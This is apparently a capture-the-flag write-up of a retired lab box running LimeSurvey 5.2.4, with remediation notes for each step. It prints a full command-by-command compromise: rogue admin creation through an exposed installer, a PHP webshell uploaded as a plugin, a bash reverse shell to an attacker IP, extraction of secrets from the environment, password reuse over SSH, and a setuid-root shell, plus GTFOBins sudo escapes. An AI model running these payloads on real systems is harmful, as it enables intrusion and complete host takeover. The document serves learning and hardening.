jperezduerto.info
Forgotten
Summary
I scanned the target and found only SSH and a web service running LimeSurvey. The application's post-installation setup wizard had not been removed after deployment, letting an unauthenticated visitor walk the installer's admin-account-creation flow and establish administrator-level access with no prior credentials.
Authenticated as an administrator, I identified the exact application version (LimeSurvey 5.2.4) and matched it to a publicly documented authenticated Remote Code Execution exploit that abuses the admin Plugin Manager. A malicious PHP webshell packaged as a valid plugin was uploaded and activated, delivering a reverse shell as the web-service account (limesvc) inside a container.
Dumping the container's running environment exposed the service password in plaintext; that identical password was reused for SSH access on the underlying host, yielding the user flag. The limesvc OS account held completely unrestricted sudo rights — abused to stamp a setuid-root copy of the system shell into a web-accessible directory and execute it as effective root — giving me a root shell and full control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <author>, <compatibility>, <config>, <description>, <license>, <metadata>, <name>, <token_from_above>, <type>, <version> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Full TCP port scan with service version detection.
$ nmap -sV -Pn -p- --min-rate 2500 -T4 $TARGETConfirm the application path and read server/PHP version headers.
$ curl -sI http://$TARGET/survey/Exact commands 4
Confirm the installer is reachable unauthenticated.
$ curl -sS "http://$TARGET/survey/index.php?r=installer/welcome"Register a rogue admin account through the installer; HTTP 500 on response is expected but the account is created.
$ curl -sS -c /tmp/ls.jar -X POST "http://$TARGET/survey/index.php?r=installer/createAdminUser" --data "username=$USERNAME&password=$PASSWORD2&password2=$PASSWORD2&email=$USERNAME%40evil.com&name=$USERNAME&action=continue"Fetch the login page and extract the CSRF token needed for the POST.
$ curl -sS -c /tmp/ls.jar -b /tmp/ls.jar "http://$TARGET/survey/index.php/admin/authentication/sa/login" -o /tmp/ls_login.html && grep -o 'YII_CSRF_TOKEN[^"]*' /tmp/ls_login.html | head -1Authenticate with the rogue account; a 302 redirect to the admin dashboard confirms success.
$ curl -sS -c /tmp/ls.jar -b /tmp/ls.jar -X POST "http://$TARGET/survey/index.php/admin/authentication/sa/login" --data "user=$USERNAME&password=$PASSWORD2&YII_CSRF_TOKEN=<token_from_above>"FixRemove or block access to the LimeSurvey setup wizard after deploymentCritical
Exact commands 6
Create the plugin directory and required config.xml manifest.
$ mkdir -p /tmp/lsplug/conquest && printf '<?xml version="1.0" encoding="UTF-8"?><config><metadata><name>conquest</name><type>plugin</type><creationDate>2026-01-01</creationDate><author>a</author><authorUrl>http://localhost</authorUrl><version>1.0</version><license>GPL</license><description><![CDATA[conquest]]></description></metadata><compatibility><version>3.0</version></compatibility></config>' > /tmp/lsplug/conquest/config.xmlWrite the bootstrap class and the webshell.
$ echo '<?php class conquest extends PluginBase { public function init(){} }' > /tmp/lsplug/conquest/conquest.php && echo '<?php if(isset($_GET["c"])){system($_GET["c"]);}?>' > /tmp/lsplug/conquest/cmd.phpPackage the plugin for upload.
$ cd /tmp/lsplug && zip -r /tmp/conquest_plugin.zip conquestUpload the plugin ZIP via the authenticated Plugin Manager.
$ curl -sS -c /tmp/ls.jar -b /tmp/ls.jar -F 'the_file=@/tmp/conquest_plugin.zip' "http://$TARGET/survey/index.php/admin/pluginmanager/sa/upload"Start the reverse-shell listener on my host (run in a separate terminal).
$ nc -lvnp 4444Trigger the webshell; replace $ATTACKER_IP with your tun0 address. This request will hang — that is expected.
$ curl --get --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'" "http://$TARGET/survey/upload/plugins/conquest/cmd.php"FixUpgrade LimeSurvey and disable or harden the Plugin ManagerCritical
Exact commands 1
Run from the reverse shell inside the container to enumerate identity and dump credential-bearing variables.
$ id; hostname; env | grep -Ei 'pass|pwd|user|db|lime|mysql|maria|secret|key'FixRemove plaintext secrets from container environment variables and enforce unique credentials per tierHigh
Exact commands 1
Authenticate via SSH with the container-leaked password and read the user flag (value will be <user.txt>).
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 limesvc@$TARGET 'id; cat /home/limesvc/user.txt'
uid=2000(limesvc)Exact commands 3
From the SSH session — confirm the full scope of sudo rights for limesvc.
$ echo "$PASSWORD" | sudo -S -lCreate a setuid-root copy of /bin/bash in the plugin directory under the limesvc SSH session.
$ printf "$PASSWORD\n" | sudo -S /bin/bash -c 'cp /bin/bash /opt/limesurvey/upload/plugins/conquest/rootbash; chown root:root /opt/limesurvey/upload/plugins/conquest/rootbash; chmod 4755 /opt/limesurvey/upload/plugins/conquest/rootbash'Execute the SUID bash with -p to preserve the root effective UID and read the root flag (value will be <root.txt>).
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 limesvc@$TARGET "/opt/limesurvey/upload/plugins/conquest/rootbash -p -c 'id; cat /root/root.txt'"
euid=0(root)FixReplace unrestricted sudo with a least-privilege command allowlist for service accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.